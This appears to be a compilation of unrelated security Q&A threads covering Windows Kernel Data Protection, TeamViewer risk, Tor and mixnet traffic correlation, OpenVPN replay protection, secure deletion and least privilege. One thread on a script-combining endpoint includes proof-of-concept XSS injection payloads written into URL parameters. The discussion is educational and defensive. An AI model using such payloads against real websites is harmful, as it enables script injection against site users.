How effective is Windows KDP for exploit mitigation in practice? Windows Kernel Data Protection is a kernel security feature which appears to use Extended Page Tables (EPT, a hardware virtualization feature) to enforce read-only pages. How effective is this at protecting from kernel exploits in the real world? Is this an effective mitigation, or security theater that only causes attackers to think a little more about which data structure they want to overwrite?
Would it be correct to say that it is similar to the controversial LKRG for Linux (a stupid kernel module that scans sensitive kernel data structures for changes), except that rather than attempting to detect compromised kernel data structures post-exploitation, KDP enforces write-protection using EPTs?
According to Microsoft's Base Kernel Team:

Kernel Data Protection (KDP) is a new technology that prevents data corruption attacks by protecting parts of the Windows kernel and drivers through virtualization-based security (VBS). KDP is a set of APIs that provide the ability to mark some kernel memory as read-only, preventing attackers from ever modifying protected memory. For example, we’ve seen attackers use signed but vulnerable drivers to attack policy data structures and install a malicious, unsigned driver. KDP mitigates such attacks by ensuring that policy data structures cannot be tampered with.

This makes it sound like KDP is designed to prevent an attacker with an arbitrary write vulnerability (but not arbitrary code execution) from modifying the kernel in such a way that they could then gain arbitrary code execution through loading a new driver. But if an attacker already has arbitrary writes, aren't there so many more data structures an attacker could overwrite that are not protected to gain code execution? Even if it's not only driver policy data structures that are protected (is it also all of the kernel's text and rodata sections in addition to specially-chosen data structures like driver policies?), this seems completely inadequate against an attacker with an arbitrary write primitive.
The reason I ask this is because KDP appears to me to be an attempt to work around the fact that vulnerable kernel code (typically vulnerable driver code) runs in the same address space and at the same privilege level as the rest of the kernel. That seems like a losing battle.
Whenever I use the term KDP here, I'm referring to static KDP. I'm aware that dynamic KDP allows the kernel to allocate memory that can only be written once before being marked as executable, to provide hardware-enforced W^X.

The Problem
Just like a regular program, a kernel is susceptible to malicious code being executed in it. Whether this comes in the form of the operating system itself featuring a vulnerability or more commonly a 3rd party driver (which has access to kernel-space) the end result is that unwanted code can be executed in the kernel.
Of course, it is unrealistic to expect a scenario where malicious code will never be executed in the kernel. Vulnerabilities are everywhere and always will be. In an effort to solve this issue, Microsoft came up with the idea to add a new technology to their stack of Virtualization-Based Security (VBS) mechanisms. This technology is known as Kernel Data Protection (KDP) which adds a new kernel boundary by leveraging virtualization technology such that there are sections in memory which even the kernel itself does not have access, as we will later find out, as far as Static KDP is concerned this does not prevent code execution nor does it really intend to.
Microsoft has two tasks they wish to solve. The first is software based exploits coming in from the CPU. The second is exploits coming in from  the hardware such as via I/O devices (via device drivers) and network connected devices.
The Solution
The solution is to use a combination of virtualized-based Security technologies along with hardware-based features and a new set of APIs, "KDP" so that some sections of kernel memory can be marked as read-only but not just read-only, but also totally unreadable/unwritable from a lower privilege level.
There are two primary technologies used in conjunction with the KDP API to solve this problem. The first is Second Level Address Translation (SLAT) which tries to prevent exploits (read/write primitives) coming in from the CPU. The second technology is an Input Output Memory Management Unit (IOMMU) which tries to prevent exploits (read/write primitives) coming in via vulnerable device drivers.
The Implementation
In order to implement this technology it all starts with the Hyper-V hypervisor. Hyper-V makes use of two technologies known as SLAT and an IOMMU in order to effectively "wall off" portions of memory which can then only be accessed by very high privileged code (code in VTL1). As there's quite a lot of technology going on, it helps to view this in a diagram at which point we can look at every individual piece in order to figure out how it fits together to make up the requirements for a functioning KDP API.

In a classic computer model, the kernel communicates directly with the hardware. However, in modern versions of Windows this is not the case. The kernel instead communicates with the Hyper-V hypervisor which sits between the hardware and the kernel, this is a software-based hypervisor which ultimately is what allows all of these other virtual-security technologies to exist and operate.
In this model if the kernel wants to access a portion of memory instead of accessing it directly via the hardware, it will tell the hypervisor that it wishes to access a region of memory at which point the hypervisor will go to the SLAT to retrieve that memory.
You'll notice that the memory is divided into two regions, "normal memory" and "secure memory", having a technology like SLAT allows this to function in the way that you'd expect. By marking a certain region of memory as "secure memory" you can place things in that "secure memory" bucket, which then makes them inaccessible from "normal memory" and only accessible via a call to the hypervisor from "VTL1". This is a key function of Kernel Data Protection.
We'll start by understanding how the Hyper-V Hypervisor allows Windows to create this concept of Virtual Secure Mode (VSM), this is a key technology to make KDP work.
Virtual Secure Mode
Windows 10 introduced this concept of VSM by leveraging the Hyper-V Hypervisor and SLAT. VSM creates a set of modes known as Virtual Trust Levels (VTL). This software-level architecture creates a new security boundary within Windows to prevent processes in one VTL accessing the memory of processes in another VTL. The overall goal of this additional isolation is the mitigation (but not prevention) of data corruption kernel exploits. An additional goal is the protection of assets such as password hashes and Kerberos keys.

As depicted in the diagram above, there are two VTLs: VTL0 and VTL1. These can also be referred to as "VSM Normal Mode" and "VSM Secure Mode" but for our purposes we will refer to them VTL0 and VTL1.

VTL0 is the "normal computer". This is the boundary within which the user is operating on a daily basis (web browsers, word processing, etc).

VTL1 is the new isolation boundary created by the hypervisor, just like VTL0, VTL1 can be thought of as "another computer". That is to say that just like VTL0, it can execute code in both a user-space context and kernel-space context.

At boot time, the hypervisor uses the SLAT in order to assign memory to each VTL. This continues dynamically as the system runs such that the Secure Memory (VTL1) is protected from Normal Memory (VTL0) and likewise code in VTL1 is protected from code in VTL0. Because VTLs are hierarchical any code running in VTL1 is considered more privileged than code running in VTL0 and as such, VTL1 code has extremely high levels of access and is in-fact the only VTL which can make hypercalls to the hypervisor.
Second Level Address Translation
With VSM explained, we need to understand how SLAT works. As we already covered, at boot time the hypervisor uses SLAT in order to assign both VTLs their own section of memory (noted as "Normal Memory" and "Secure Memory") this memory mapping is managed dynamically as the system runs.
When SLAT is enabled the processor translates an initial virtual address called Guest Virtual Address (GVA) into an intermediate physical address called Guest Physical Address (GPA). This translation is still managed by the page tables addressed by the CR3 control register which managed by the NT kernel. The final result of the translation yields the processor a GPA, with the access protection specified in the Guest Page Table (GPT). Only software which is operating in kernel mode can interact with page tables such is the case that a rootkit could modify the protection of the intermediate physical pages.
The hypervisor helps the CPU to translate the GPA using the Nested Page Table (NPT). On a non-SLAT system, when a virtual address is not present in the Translation Lookaside Buffer (TLB), the processor needs to consult all the page tables in the hierarchy in order to reconstruct the final physical address. The virtual address is split into four parts. Each part represents the index into a page table of the hierarchy. The physical address of the initial Page-Map-Level-4 (PML4) table is specified by the CR3 register. This is why a processor is always able to translate the address and get the next physical address of the next table in the hierarchy. It is important to know that in each page table entry of the hierarchy the NT kernel specifies a page protection through a set of attributes. The final physical address is accessible only if the sum of the protections specified in each page table entry allows it.

On a SLAT-enabled system, the intermediate physical address specified in the guest's CR3 register needs to be translated to a real System Physical Address (SPA). In this case, the hypervisor configures the nCR3 field of the active Virtual Machine Control Block (VMCB) representing the currently executing VM to the physical address of the NPT. The NPTs are built in a similar way to standard page tables, so the processor needs to scan the entire hierarchy to find the correct physical address. In the figure, we'll note that we have "n" and "g" these indicate the NPT and GPT respectively. Where the NPT are managed by the hypervisor and the GPT are managed by NT kernel.

As shown above, the final translation of a GVA to a SPA goes through two translation types: GVA to GPA, configured by NT kernel and GPA to SPA, configured by the hypervisor.

An NPT entry specifies multiple access protection attributes this allows the hypervisor to further protect the SPA (the NPT can only be accessed by the hypervisor itself). When the processor attempts to read, write or run an address to which the NPTs disallow access, an NPT violation is raised and a VM exit is generated.
Input Output Memory Management Unit
However, SLAT only solves the CPU problem, it doesn't solve a hardware one, namely device based attacks such as Direct Memory Access attacks (DMA attacks). To solve this, Windows leverages an IOMMU which is a type of Memory Manage Unit (MMU). The IOMMU connects a DMA-capable I/O bus to the main memory. Its purpose is to map device-visible virtual addresses to physical addresses in memory via a page table such that when a device wants to access memory it has to go through the IOMMU in order to access it. This page table stores memory addresses as well as access permissions associated with those memory addresses.

Device drivers sit in VTL0 but they need to program connected I/O devices to tell them which regions of memory to access. However, the problem that this model causes is that a device driver can tell a device to access memory in VTL1. By putting the IOMMU between the device and the device driver, it can limit the memory which the device can access.
Since the hypervisor is responsible for the programming of the IOMMU and the hypervisor can only be managed from VTL1 this prevents a situation where an attacker can use vulnerable driver code to perform DMA attacks and access memory to which it should not have access.
Static KDP Implementation
SLAT is the main protection principle which KDP uses to function. Dynamic and static KDP implementations are similar and are both managed by the Secure Kernel (VTL1). The Secure Kernel is the only entity which is able to send the ModifyVtlProtectionMask hypercall to the hypervisor. This call modifies the SLAT access protection for a physical page that is mapped in the lower VTL0.
For Static KDP, the NT kernel (VTL0) verifies that the driver is not a session driver or mapped with large pages. If one of these conditions is true, or if the section is a discard-able section then static KDP cannot be applied. If the entity which called the MmProtectDriverSection API did not request the target image to be unloadable then the NT kernel performs the first call into the Secure kernel which pins the normal address range (NAR) associated with the driver. This pinning operation prevents the address space of the driver from being reused, making it so the driver is not unloadable.
The NT kernel then brings all the pages that belong to the section in memory and makes them private. Those pages are then marked as read-only in the leaf Page Table Entry (PTE) structures. At this stage, the NT kernel can finally call the Secure kernel for protecting the underlying physical pages through the SLAT. The Secure kernel applies this protection in two stages:

Register all the physical pages that belong to the section and mark them as "owned by VTL0" by adding the proper normal table addresses in the database and updating the underlying secure PFNs which belong to VTL1. This allows the Secure kernel to track the physical pages, which still belong to the NT kernel.
Apply the read-only protection to the VTL0 SLAT table.

The target image's section is now protected and no entity in VTL0 will be able to write to any of the pages belonging to the section.
Although Microsoft seems to market this as protecting code execution it actually doesn't do that at all. As it's name suggests it is "Data Protection" all this feature does is protect data from being accessed from one kernel to another (NT->Secure). The entire purpose of this is that if you manage to get code execution in the NT kernel you cannot read data that has been defined to be stored in the VTL1 memory space or execute code in VTL1. Nor can you perform any form of memory corruption on the data in the VTL1 memory space. This doesn't prevent kernel exploits. You can still run them in VTL0.1
One thing this does a good job at protecting is Hypervisor-Protected Code Integrity (HVCI) from being disabled. In the past there have been attacks where someone finds a vulnerable piece of driver software and then using that vulnerability they turn off HVCI. However, this is an overall goal of VBS not just KDP specifically. KDP is just one set of APIs to help achieve this goal.
Usefulness in Mitigation
As far as mitigation goes - Static KDP isn't that useful. In-fact, the whole technology stack this makes up is generally more geared towards isolation of data more-so than kernel execution prevention.
Your point you made that surely an attacker can just use a write primitive elsewhere is entirely correct. This doesn't stop code execution & it doesn't totally stop read/write primitives. It only prevents those kind of attacks on areas of memory which have Static KDP applied (like HVCI for example). Unfortunately, it is quite hard to know which areas of memory those are by default, given that Windows is closed source.
I don't think it is fair to call Static KDP an equivalent of Linux Kernel Runtime Guard (LKRG) and in-fact, LKRG is more similar to Hypervisor-Protected Code Integrity. Your assertion is true though that KDP does effectively enforce a write protection on a given area of memory.
Threat Model
Microsoft's main threat model for this was noted as: "protecting keys and hashes" as well as HVCI from being read from lower privilege/overwritten from lower privilege.
Microsoft have noted a few times that they plan to use this technology more going forwards in order to better protect themselves against driver based vulnerabilities, however they have not specifically called out future plans, designs or how they aim to do that. Just that they will use this technology to do it.

1 - This technology, specifically Static KDP seems somewhat like security theater. There is little benefit to using this. This does not stop code execution nor does it prevent or mitigate vulnerable driver code. All it does is allow the OS to say: "Kerberos keys need more security, place them in VTL1 so if VTL0 gets pwned they don't get the keys". Although the name advertises itself as "Kernel Data Protection" the Microsoft blog advertises this feature as somewhat preventing vulnerable code execution even though it does not...

Terms used
- SLAT: Second Level Address Translation
- IOMMU: Input Output Memory Management
- VBS: Virtulization-Based Security
- KDP: Kernel Data Protection
- HVCI: Hyper Visor Code Integrity
- IUM: Isolated User Mode
- VTL: Virtual Trust Level
- VSM: Virtual Secure Mode
- NT Kernel: VTL0 Kernel
- Secure Kernel: VTL1 Kernel
- Memory: VTL0 Memory
- Secure Memory: VTL1 Memory
- PTE: Page Table Entry
- GVA: Guest Virtual Address
- GPA: Guest Physical Address
- TLB: Translation Lookaside Buffer
- NPT: Nested Page Table
- SPA: System Physical Address
- VMCB: Virtual Machine Control Block
- DMA: Direct Memory Access

Further Reading + Sources

https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-kernel-dma-protection
https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/vsm
https://docs.microsoft.com/en-us/windows/win32/procthread/isolated-user-mode--ium--processes
https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs
https://www.microsoft.com/security/blog/2020/07/08/introducing-kernel-data-protection-a-new-platform-security-technology-for-preventing-data-corruption/
https://channel9.msdn.com/Blogs/Seth-Juarez/Windows-10-Virtual-Secure-Mode-with-David-Hepkin
https://channel9.msdn.com/Blogs/Seth-Juarez/Isolated-User-Mode-in-Windows-10-with-Dave-Probert
https://docs.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard


Encrypting a Database's Primary Key when sent to the browser When dealing with either an oData-based application (ADO.NET Data Services), or something that otherwise publishes the PrimaryKey, or ForeignKey to the client...

Can someone explain to me be benefits of encrypting the database key when it arrives at the browser?

How would you encrypt this key?  What methodologies would you use for validation?

Ideally this response would be phrased in a way that will sell a PM or executive on the benefits/drawbacks of this practice.

More Information

If you are unfamilliar with web programming, what I'm talking about is the often hidden primary key that is sent to the client (web browser, fat client, or other) and decrypted at the remote end of the HTTPS tunnel.  The argument is that it is more secure to encrypt and obfuscuate the primary key (or fk for that matter) when sent to the client.

Update

Although I haven't found any formal research per-se, I did a proof-of-concept website that applies to either a multi-tenant sites, or where there isn't enough server-side validation of the target row.  I'm sure this is a security issue, but it may be too programatic in nature for this IT Security forum...

I'm going to agree with what AviD is saying in the comments.

To the original question, I don't think there are benefits to encrypting key values that are exposed by the application.   To me, it sounds like an odd (and expensive, from a perf perspective) form of security by obscurity.

Security and integrity of non-secret data should be provided by solid application logic.  I.E., does the current user have permission to modify the data that they're trying change? Or, does the current user have permission to add a student to this class, and is the class still open for registration?

Encrypting keys doesn't solve these problems, but in fact, can cause additional problems, like, what if a link with a valid encrypted parameter is emailed to somebody who shouldn't have access to it?

For the other example, the emailed password reset, I'm struggling to see why the encrypted key would have any significant advantages over a GUID that aren't going to be offset by the performance impact of the encryption and decryption operations.

Just my two cents of course, but I really don't see much, if any security advantage at all.  I think it's just additional cost with no real benefits because most, if not all of the underlying security problems will remain and have to be solved another way regardless.

I hope this helps,

-Xander


How secure is TeamViewer for simple remote support? I'm deploying a web-based ERP system for a customer, such that both the server and the client machines will be inside the customer's intranet. I was advised in another question not to use TeamViewer to access the server, using more secure means instead, and so did I. But now I'm concerned about whether or not TeamViewer would be appropriate for the client machines, which are not "special" to this system in particular, but nonetheless I don't want to lower their current security, neither I want to compromise the computer on my end.

My question, then, is whether or not TeamViewer is "good enough" for simple remote desktop support, where it will be used simply to assist the users in the usage of the system, and whether or not I must take additional measures (like changing the default settings, changing the firewall, etc) to reach a satisfactory level or security.

Some details:

I already read the company's security statement and in my non-expert opinion all's fine. However, this answer in that other question has put me in doubt. After some research, UPnP in particular does not worry me anymore, since the feature that uses it - DirectIn - is disabled by default. But I wonder if there are more things I should be aware of that's not covered in that document.
The Wikipedia article about TeamViewer says the Linux port uses Wine. AFAIK that doesn't affect it's network security, is that correct?
Ultimatly, the responsibility of securing my customers' networks is not mine, it's theirs. But I need to advise them about the possibilities of setting up this system, in particular because most of them are small-medium NGOs without any IT staff of their own. Often I won't be able to offer an "ideal" setup, but at least I wanna be able to give advice like: "if you're installing TeamViewer in this machine, you won't be able to do X, Y and Z in it, because I'll disable it"; or: "you can install TeamViewer in any regular machine you want, it's safe in its default configuration; only this one *points to server* is off-limits".
My choice of TeamViewer was solely because it was straightforward to install in both Windows and Linux machines, and it just works (its cost is accessible too). But I'm open for other suggestions. I'm low both in budget and specialized staff, so I'm going for the simpler tools, but I wanna make a conscious decision whatever that is.

There's a couple of differences between using a 3rd party supplier (such as teamviewer) and a direct remote control solution (eg, VNC)

Team Viewer has advantages in that it doesn't require ports to be opened on the firewall for inbound connections, which removes a potential point of attack.  For example if you have something like VNC listening (and it isn't possible to restrict source IP addresses for connections) then if there is a security vulnerability in VNC, or a weak password is used, then there is a risk that an attacker could use this mechanism to attack your customer.

However there is a trade-off for this, which is that you're providing a level of trust to the people who create and run the service (in this case teamviewer).  If their product or servers are compromised, then it's possible that an attacker would be able to use that to attack anyone using the service. One thing to consider is that if you're a paying customer of the service, you may have some contractual come-back if they're hacked (although that's very likely to depend on the service in question and a whole load of other factors)

Like everything in security it's a trade-off.  If you have a decently secure remote control product and manage and control it well then I'd be inclined to say that that's likely to be a more secure option than relying on a 3rd party of any kind.

That said if the claims on TeamViewers website are accurate it seems likely that they're paying a fair degree of attention to security, and also you could consider that if someone hacks TeamViewer (who have a pretty large number of customers) what's the chance that they'll attack you :)


Track USB activity on Windows I want to know what happens in my USB Devices (file creation, file renamed, etc) without using an external tool.

I'm using Windows 7, can I enable some GPO to log these actions?

Here the event 4663 is used. Can I use something like this on Windows 7 or Windows 2008?

Without third party tools, no, it's not possible - the functionality was only introduced in Windows Server 2012, and subsequent releases: see Microsoft Technet for details (under the section header "What is the difference between audit policies located in Local Policies\Audit Policy and audit policies located in Advanced Audit Policy Configuration?" for some reason).


prevent virus code modifying commonly run executable files? I have recently been looking into 'cyber essentials questionnaire' and I came across the question "Other than anti-virus software, are access control measures in place to prevent virus code modifying commonly run executable files?", are there any practices that would be put in place to deal with this other than the anti-virus software as mentioned?

The question is pretty descriptive: on a secure system, you make sure regular users cannot write to the folder containing your executables. On most OS, that is already done by default.

On some OS, this can be strengthened through several techniques, including requiring the executables to be signed or limiting the locations where executable code can be located.

It's not 100%, mind you: there are several techniques that can be used to work around the limitations but it's a good and (usually) easy to implement step for hardening a system.


Logging Attack - Tor vs. Mixnets Upon trying to understand Tor and mixnets, I recently stumbled upon the following question:

On https://blog.torproject.org/blog/one-cell-enough it is stated that if one can measure the traffic on the incoming node, i.e. the node that the client sends to and the outgoing node, i.e. the node that sends the traffic to the destination, one can then make a good (accurate) guess about the two communication partners using some "simple statistics".

However, the same would not apply to mix-nets. Why is that? What distinguishes mixnets from the tor-network that makes a logging attack infeasible when only in control of two nodes in the mixnet, but sufficient in the tor-network?

As Lie Ryan says, Tor is a low-latency network. It also uses a large number of nodes basically run by anyone who wants to run one (which is a problem because it's difficult to trust individual nodes). Good anonymity is achieved by randomly selecting two nodes that together with your mostly fixed, but initially also randomly selected entry guard make up a proxy chain, or "onion route".

There is another way to build anonymity networks (such as JAP/JonDo or whatever it's current name is): With JonDo, there is a much lower number of powerful nodes, run by known entities, which each route lots of traffic. As with Tor, the client also chooses a "mixer cascade" of nodes, but each node collects incoming packets, reorders them and sends them out at aproximately the same time. So if Eve observes the incoming and outgoing traffic of a node, she can't connect an outgoing packet to an incoming one. JonDo offers an okay user experience despite collecting and reordering packets (with means it adds a bit of latency) because it doesn't allow the client to use just any combination of nodes as a mixer cascade and there aren't all that many nodes in the first place, so the individual nodes always have enough traffic so they don't have to wait too long before they have collected enough packets to send out the next batch.

Note that since JonDo is basically low-latency like Tor, an attack that correlates traffic timings between the user and the first node and between the last node and the target server will still work. Also, traffic size correlation will work fine when done at traffic ingress and egress boundaries of the anonymity network.

There is no known countermeasure against these attacks in low latency mixer networks (except maybe generating a large volume of cover traffic, but I don't know any network that implements this.). Even with high-latency mixer networks such as mixminion for anonymous e-mail, which protect you against timing correlation, size correlation will still work.

Aside: Your question seems to imply that you need to control two nodes for traffic correlation to work. But for timing and message size correlation attacks to work, you don't actually need to be in control of any nodes at all. You can also just observe traffic to/from these nodes. This means that if you can get access to several very large internet exchanges such as the world's largest, the DE-CIX in Frankfurt (to which German signal intelligence, which is known to cooperate with other sigint agencies, had access in the past, and probably still does), sea cable termination points and so on, your chances that you'll be able to observe the right traffic increase a lot. This is why Tor warns you that it won't protect you against a global adversary, e.g. one who has global traffic surveillance capabilities.


XSS vulnerability in raw script response? We recently had a security scan done on our production web applications and received a notification of a potential XSS vulnerability on a particular URL that is used to retrieve a combined response containing multiple js files.

Example:
http://example.com/CombinedScripts?file=foo.js&file=bar.js

And the server would return the contents of both foo.js and bar.js combined/minified/etc. If you pass in an invalid filename, it includes in the response the name of the file it couldn't find inside a comment in the javascript.

Example:
/* Unable to find file 'foo2.js' */

I was able to successfully craft an HTML page that pointed to this CombinedScripts handler and displayed an alert box using a script tag with a URL like:

http://example.com/CombinedScripts?file=*/alert(1);/*

Since this URL only returns javascript (not HTML), is this actually an XSS vulnerability?

The pages where this URL is referenced throughout the site don't use any untrusted user input in generating the URL.

There is no actual HTML involved here and pointing a user directly to this URL would just make the javascript show up in their browser, not execute it.

If I had my own HTML page and could put the malicious URL in a script tag, then I can inject malicious javascript but it would be running in the context of the page I already control, not the context of the site that served the javascript so I could just as easily put the script directly in the HTML page I control.

Generally speaking, no, this is not a Cross Site Scripting (XSS) issue.

You can have three problems:

If the attacker control the first bytes of the output, the
Rosetta Flash attack can be used to trigger a Cross Site Scripting (XSS), regardless of the content-type of the page.
But if you start the output with /*, like you said you do, I can not see any risk;
Outdated browsers (e.g.: IE 7) have content-sniffing issues, so even you setting the content-type of your page to text/javascript, an attacker could trick the browser to execute your page as HTML. Nowadays, this type of attack is very rare.
Use the following header to become safer;

  X-Content-Type-Options: nosniff

If you have sensitive informations in your javascript based on an authenticated session, you have other vulnerability, called Cross Site Script Inclusion (XSSI).

Important update:

I am supposing you are serving the page with Content-Type: text/javascript.

If you are serving the page with Content-Type: text/html and you are not encoding < and >, you are completely vulnerable to XSS.

Example:

http://example.com/CombinedScripts?file=<img src=x onerror=alert(9)>


How do I find all domains hosted on a single host? I found several websites offer a function that allows you to list all domains hosted on the same machine, e.g you supply a.com, and it tells you b.com and c.com are both hosted on the same machine as a.com.

How did they know about it?

My first thought was to do a DNS lookup on a.com, find its IP, and a reverse IP look up on all these IPs to see if any domain matches.

In this case, that process is expected to be slow, But the website returns the result nearly immediately, so they mustn't be using this method.

There is absolutely no way to list all domains "hosted" on a machine as you state it.

First of all, what you wanted to do will only give you the name(s) attached to a PTR record (reverse DNS to an IP). It will not give you a list of A records pointing to it.

What you must understand about DNS, is that they act as a database of associated IP addresses and hostnames.
There may be several DNS servers with records pointing (with A records) to a single host. But there is no way to know which servers are effectively hosting those records, as well, as there is no type of DNS query that asks a DNS server for A records pointing to a specific IP.

You stated about websites proposing to "query" about an IP to know which sites are hosted on it. All those sites do, is storing in a database association between public websites (and hostnames) and their attached IP address(es), indexing on the IP.
This only works if they can guarantee you that they crowled the entire www, world-wide, and that their informations are accurate, which they can't, as they are thousands of "websites" hosted privately (without search engines indexation and no cross-links), others moving around and changing IP, etc ...

I hope this explaination was clear enough and helped.


Is it possible for a single user to route connections through several IP addresses? I have searched google for an answer to my question and can’t seem to find one. Maybe you can help me out. Is it possible to use somebody else’s IP addresses to post on a forum with? I am a moderator of a health website where we had multiple sock puppet accounts. Duplicate IP’s associated with one user came from a Comcast static broadband account, A & T mobile account, a mail server belonging to a business, and a doctors’ office.  I asked the member who the IP’s were matched to what was going on. He said a friend of his who had been banned from our website had asked him to put software on his phone, his wifi, and his business that would make it look like he was posting from these addresses. That didn’t explain the use of the doctor’s office IP. Is this possible or am I being lied to? Thank you for taking the time to answer me.

(For clarity, I'll refer to the "banned user" and the "other user" in my response.)

The banned user could ask anyone, including the other user, to install software such as a proxy or a VPN that would allow him to route traffic through those computers.  Such software could be installed on routers, computers, or cell phones, so all of the sources you describe are certainly possible.  While I can't say for sure, it's possible that the doctor's office was visited by the other user and his phone connected to their wifi, resulting in the traffic appearing to come from that source.

IP address bans are quite fragile in this way.  There are many ways for someone who knows a little bit about technology to make their traffic appear to come from any number of sources -- public proxies, VPN services, TOR relays, private proxies, compromised servers, public WiFi, among others.  Beyond that, most ISPs in the US use a system (DHCP) that assigns IP addresses for only a period of time, after which the IPs may be rotated.  So not only might your banned user end up with a different IP address at their home, but the IP you have banned might end up being assigned to someone else who will wonder why they have been banned from your forum.


Is it possible to execute xss when response is of content type:application/json in latest IE? Question is when response type of request is coming as application/json and also there is not any kind of escaping/encoding implemented then is it possible to execute xss there?
Changing file extension trick seems to be working till Internet Explorer 9 and all the researches on blogs are way older. Is anybody aware of trick to execute xss on latest IE versions like 10 & 11

Already read blogs like http://blog.watchfire.com/wfblog/2011/10/json-based-xss-exploitation.html. They are claiming to be worked till IE9

XSS is still possible even in newer versions. But it depends how the JSON is used. The article you reference cares only about executing JSON by itself, i.e. accessing a JSON document via a link.

It does not discuss the case when you return JSON from an XHR request and then include the received data directly with document.write or even interpret it with eval. In this case of full trust in the validity of the JSON XSS is still a problem. No content-type sniffing will be done because the web application inside the browser knows what it should get and will interpret the content itself, i.e. not the browser will render the content.

XSS is also possible if the JSON is included with a script tag. In this case browsers accept (almost) all content types and no sniffing is done because again the browser knows already what the content should be from the context.


Secure cleaning of deleted files So I know how to secure delete files. But at our company, we have a laptop which had many important documents, which now have been deleted, but not in a secure way.

We can't perform a full format of the disk since it would be a complex task to restore everything again. I would like to ask if there's a way to do a "secure clean" of the remaining free space, so those documents couldn't be recovered anymore.

System that is being used is Mac OS X.

See How can files be deleted in a HIPAA-compliant way?

For OS X, the system includes a way to wipe all free space in the Disk Utility program, but that does not take care of slack space (the space between the end of a file and the end of its block). BCWipe can take care of slack space.

HFS+ reserves chains of filesystem space before writes in order to speed up writing. Space may be reserved and then later freed, resulting in free space containing data after a wipe.

Cache files, preloads and memory paged to disk may also result in unexpected disclosures. If you really feel it's still worth approaching, How to wipe file slack on OS X has some tips.


What is a replay attack for OpenVPN I'm trying to understand why would I have less security if I disable a replay attack protection in OpenVPN config. It's not really explained in the man page, only Don't use this option unless you are prepared to make a trade-off of greater efficiency in exchange for less security..

As far as I understand, an IP packets can be duplicated by design and every application using an IP should be ready to deal with it. And it's not a theoretical possibility, WiFi networks can produce duplicate packets. TCP stack is ready to handle duplicate packets, so for any TCP connection there's no problem with duplicate packets.

So the only problem I could see is that some buggy application might use UDP protocol and it's not ready to correctly handle duplicate packets, so attacker might produce those duplicate packets and trigger unusual behaviour. Is that correct? Is there any real facts of such vulnerabilities?

First, you need to fully understand Replay attacks.

A replay attack is an attack where an authentication session is replayed by an attacker to fool a computer into granting access. It may be any form or re-transmission of a network data transmission but is usually used to gain authentication.

So, it's not only a duplicate packet issue, and its danger is not about DoS attacks and other related problems.

And as for greater efficiency in exchange for less security, from OpenVPN website:

  Replay  protection is accomplished by tagging each outgoing datagram with an identifier that is guaranteed to be unique for the key being used.
  The peer that receives the datagram will check for the uniqueness of the identifier.  If the identifier was  already  received  in  a  previous
  datagram,  OpenVPN  will drop the packet.  Replay protection is important to defeat attacks such as a SYN flood attack, where the attacker lis
  tens in the wire, intercepts a TCP SYN packet (identifying it by the context in which it occurs in relation to other packets), then floods  the
  receiving peer with copies of this packet.

And that's explain the word greater efficiency, because the previous process takes its time.


CAPTCHA code refreshing vulnerability Question is not programmatic but rather conceptual.

When a user is trying to fill in a contact form and then CAPTCHA code, if he/she accidentally refreshes the page or doesn't fill a required input field, he/she will come back to same page usually with a renewed CAPTCHA code. The user then needs to refill inputs and alas, encounters another CAPTCHA code which has to be solved again.

I - being a user before a developer - see it as a chore to constantly complete CAPTCHAs and wish that it could be changed in some way that doesn't make me unnecessarily distinguish those annoying characters another time.

Then being in my developer's shoes, I decide to change the way the CAPTCHA code is shown. I keep CAPTCHA code in a session and won't renew it programmatically unless:

User wants to refresh it.
User makes X mistakes in entering the same CAPTCHA code. (e.g. 3 times)

Otherwise, in each request the same characters are shown, there is no need to worry about unwanted refreshes. But being the developer who thought about it, there may be chances that someone could bypass it or do sabotaging things that I'm not aware of.

Can implementing this concept be safe and if not what could be its vulnerabilities?

I don't see how there could possibly be a security risk or other vulnerability as a result of implementing the feature you suggest. The reason is simple: since there is no security risk or other vulnerability to not having a CAPTCHA in the first place (with the possible exception of a DOS attack if the action the CAPTCHA protects is a slow action), any modification you make to the CAPTCHA should not create a new security risk. The purpose of a CAPTCHA is simply to prevent pointless actions to reduce the resource footprint by the host, but none of those actions should be related to security, as humans can do them too.

So, even if you mess up the feature and make the CAPTCHA easier to beat, there shouldn't be any new security vulnerability as a result of doing so.

As for whether or not it's a good idea, in my experience users rarely accidentally refresh the page, and a good UI will highlight the required fields, so the most likely error during submission is the CAPTCHA itself, which you probably want to change after each attempt if the only error was the CAPTCHA (to prevent a bot from getting multiple attempts at the same CAPTCHA). I think you're fine though; the worst case scenario is a bot is slightly more likely to beat it. No big deal...


Is Google Drive For Business considered non-public storage? I recently did some contracting work for a small company that stored business files in Google Drive for Business. Their client (Georgia Power) has a policy that says that all such information is "critical" and must be stored on a "non-public server". Does Google Drive for Business meet this requirement? Does regular Google Drive meet this requirement?

Im kind of struggling to find a definition of non-public. If that just means password protected then everything is good, if it implies that no one but the company has access to it then this won't work because Google has access to the data. Any thoughts?

Google states on their help site

When you upload files to Google Drive, they are stored in secure data centers.
 If your computer, phone, or tablet is lost or broken, you can still access your files from other devices.
 Your files are private unless you share them.


Principle of Least privilege; is it ever a 'good idea' to give standard users administrative privileges? There are a number of users in the business who are required to perform administrative tasks on machines, not least the IT Service Desk, also Devs etc.

The only requirement for administrative access within our estate would be to install or update software; with most software deployed centrally through SCCM. As such, any requirement would be an IT service desk agent or field technician making ad-hoc changes to a machine, or possibly a developer. There are no requirements for standard users to be local machine administrators.

In the process of creating a reasonable POLP (Principle of least Privilege) policy, we determined that all users should have standard desktop user accounts, and secondary administrative accounts; with the intention being that any requirement to make local changes will be challenged with a UAC, requiring different credentials.

Not only will this stop any malicious processes running in their environment from executing using their account privileges, it also acts as a 'psychological fireguard' to ensure they are being made aware they are making local changes. Additionally, should their standard account be compromised (they have emails, for example), the compromised accounts are not Administrative.

Now, the above seemed logical to me at first glance, but a colleague has since challenged the proposal.

I respect the colleague immensely and he has many, many years of experience in IT; but his challenge was that his standard account has Local administrative privileges on his own machine, and that with UAC turned on this should be sufficiently protected.

Is he Right?

Some of the users would need their ADM accounts linked to a group that populates local administrators to all machines on the domain; putting their standard accounts into that membership seems like a huge risk to me, but is simply enabling UAC prompts sufficient?

In the context of your question, there is no real "right or wrong" answer because we don't really know what are your security requirements.

